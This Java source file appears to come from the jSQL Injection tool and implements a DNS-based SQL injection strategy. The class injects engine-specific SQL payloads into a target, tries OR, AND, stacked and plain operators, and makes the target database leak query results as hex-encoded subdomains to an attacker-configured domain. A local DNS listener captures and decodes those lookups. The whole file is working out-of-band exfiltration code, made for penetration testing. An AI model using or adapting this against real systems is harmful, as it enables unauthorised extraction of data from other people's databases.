1
2
3
4
5
6
7
8
9
10
11 package com.jsql.model.injection.strategy;
12
13 import com.jsql.model.InjectionModel;
14 import com.jsql.model.accessible.ResourceAccess;
15 import com.jsql.view.subscriber.Seal;
16 import com.jsql.model.injection.strategy.blind.AbstractInjectionBit.BlindOperator;
17 import com.jsql.model.injection.engine.model.EngineYaml;
18 import com.jsql.model.suspendable.AbstractSuspendable;
19 import com.jsql.util.I18nUtil;
20 import com.jsql.util.LogLevelUtil;
21 import com.jsql.util.StringUtil;
22 import org.apache.commons.lang3.StringUtils;
23 import org.apache.logging.log4j.LogManager;
24 import org.apache.logging.log4j.Logger;
25
26 import java.util.regex.Pattern;
27
28 public class StrategyDns extends AbstractStrategy {
29
30 private static final Logger LOGGER = LogManager.getRootLogger();
31 private BlindOperator blindOperator;
32 private final DnsServer dnsServer;
33
34 public StrategyDns(InjectionModel injectionModel) {
35 super(injectionModel);
36 this.dnsServer = new DnsServer(injectionModel);
37 }
38
39 @Override
40 public void checkApplicability() {
41 if (this.injectionModel.getMediatorUtils().preferencesUtil().isStrategyDnsDisabled()) {
42 LOGGER.log(LogLevelUtil.CONSOLE_INFORM, AbstractStrategy.FORMAT_SKIP_STRATEGY_DISABLED, this.getName());
43 return;
44 } else if (
45 StringUtils.isBlank(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain())
46 || !StringUtils.isNumeric(this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort())
47 ) {
48 LOGGER.log(
49 LogLevelUtil.CONSOLE_INFORM,
50 "Incorrect domain '{}' or port '{}', skipping Dns strategy",
51 this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain(),
52 this.injectionModel.getMediatorUtils().preferencesUtil().getDnsPort()
53 );
54 return;
55 } else if (
56 StringUtils.isEmpty(this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getDns())
57 ) {
58 LOGGER.log(
59 LogLevelUtil.CONSOLE_INFORM,
60 AbstractStrategy.FORMAT_STRATEGY_NOT_IMPLEMENTED,
61 this.getName(),
62 this.injectionModel.getMediatorEngine().getEngine()
63 );
64 return;
65 }
66
67 this.checkInjection(BlindOperator.OR);
68 this.checkInjection(BlindOperator.AND);
69 this.checkInjection(BlindOperator.STACK);
70 this.checkInjection(BlindOperator.NO_MODE);
71
72 if (this.isApplicable) {
73 this.allow();
74 } else {
75 this.unallow();
76 }
77 }
78
79 private void checkInjection(BlindOperator blindOperator) {
80 if (this.isApplicable) {
81 return;
82 }
83 this.blindOperator = blindOperator;
84 LOGGER.log(
85 LogLevelUtil.CONSOLE_DEFAULT,
86 "{} [{}] with [{}]...",
87 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_CHECKING_STRATEGY),
88 this::getName,
89 () -> blindOperator
90 );
91 String engineSpecificWithOperator = this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
92 String.format(
93 "(select concat('', %s))",
94 this.injectionModel.getMediatorEngine().getEngine().instance().getModelYaml().getStrategy().getConfiguration().getFailsafe().replace(EngineYaml.INDICE, "1")
95 ),
96 "1",
97 blindOperator,
98 false
99 );
100
101 new Thread(this.dnsServer::listen).start();
102 this.injectionModel.injectWithoutIndex(engineSpecificWithOperator, "dns#confirm");
103 this.waitDnsResponse(2500);
104
105 var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
106 this.isApplicable = this.dnsServer.getResults().stream().anyMatch(
107 s -> s.contains(domainName) && s.contains(StringUtil.toHex(ResourceAccess.WEB_CONFIRM_RESULT))
108 );
109 if (this.isApplicable) {
110 this.dnsServer.getResults().clear();
111 LOGGER.log(
112 LogLevelUtil.CONSOLE_SUCCESS,
113 "{} [{}] with [{}]",
114 () -> I18nUtil.valueByKey(AbstractStrategy.KEY_LOG_VULNERABLE),
115 this::getName,
116 this.blindOperator::name
117 );
118 } else {
119 this.dnsServer.close();
120 }
121 }
122
123 @Override
124 public void allow(int... i) {
125 this.injectionModel.appendAnalysisReport(
126 StringUtil.formatReport(LogLevelUtil.COLOR_BLU, "### Strategy: " + this.getName())
127 + this.injectionModel.getReportWithoutIndex(
128 this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
129 StringUtil.formatReport(LogLevelUtil.COLOR_GREEN, "<query>"),
130 "1",
131 this.blindOperator,
132 true
133 ),
134 "metadataInjectionProcess",
135 null
136 )
137 );
138 this.injectionModel.sendToViews(new Seal.MarkStrategyVulnerable(this));
139 }
140
141 @Override
142 public void unallow(int... i) {
143 this.injectionModel.sendToViews(new Seal.MarkStrategyInvulnerable(this));
144 }
145
146 @Override
147 public String inject(String sqlQuery, String startPosition, AbstractSuspendable stoppable, String metadataInjectionProcess) {
148 new Thread(() -> this.injectionModel.injectWithoutIndex(
149 this.injectionModel.getMediatorEngine().getEngine().instance().sqlDns(
150 sqlQuery,
151 startPosition,
152 this.blindOperator,
153 false
154 ),
155 metadataInjectionProcess
156 )).start();
157 this.waitDnsResponse(5000);
158
159 String result = this.dnsServer.getResults().getFirst();
160 var domainName = this.injectionModel.getMediatorUtils().preferencesUtil().getDnsDomain();
161 String regexToMatchTamperTags = String.format("(?i).{3}\\.([a-z0-9]*)\\..{3}\\.%s\\.", domainName);
162 var matcherSql = Pattern.compile(regexToMatchTamperTags).matcher(result);
163 if (matcherSql.find()) {
164 result = matcherSql.group(1);
165 } else {
166 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Incorrect DNS response: {}", result);
167 }
168 this.dnsServer.getResults().clear();
169 return StringUtil.fromHex(result);
170 }
171
172 private void waitDnsResponse(int maxTime) {
173 int currentTime = 0;
174 while (this.dnsServer.getResults().isEmpty() && currentTime <= maxTime) {
175 try {
176 int waitTime = 250;
177 Thread.sleep(waitTime);
178 currentTime += waitTime;
179 } catch (InterruptedException e) {
180 LOGGER.log(LogLevelUtil.IGNORE, e, e);
181 Thread.currentThread().interrupt();
182 }
183 }
184 if (currentTime > maxTime) {
185 LOGGER.log(LogLevelUtil.CONSOLE_ERROR, "Missing DNS response after {} ms", maxTime);
186 }
187 }
188
189 @Override
190 public void activateWhenApplicable() {
191 if (this.injectionModel.getMediatorStrategy().getStrategy() == null && this.isApplicable()) {
192 LOGGER.log(
193 LogLevelUtil.CONSOLE_INFORM,
194 "{} [{}] with [{}]",
195 () -> I18nUtil.valueByKey("LOG_USING_STRATEGY"),
196 this::getName,
197 this.blindOperator::name
198 );
199 this.injectionModel.getMediatorStrategy().setStrategy(this);
200 this.injectionModel.sendToViews(new Seal.ActivateStrategy(this));
201 }
202 }
203
204 @Override
205 public String getPerformanceLength() {
206 return EngineYaml.DEFAULT_CAPACITY;
207 }
208
209 @Override
210 public String getName() {
211 return "Dns";
212 }
213 }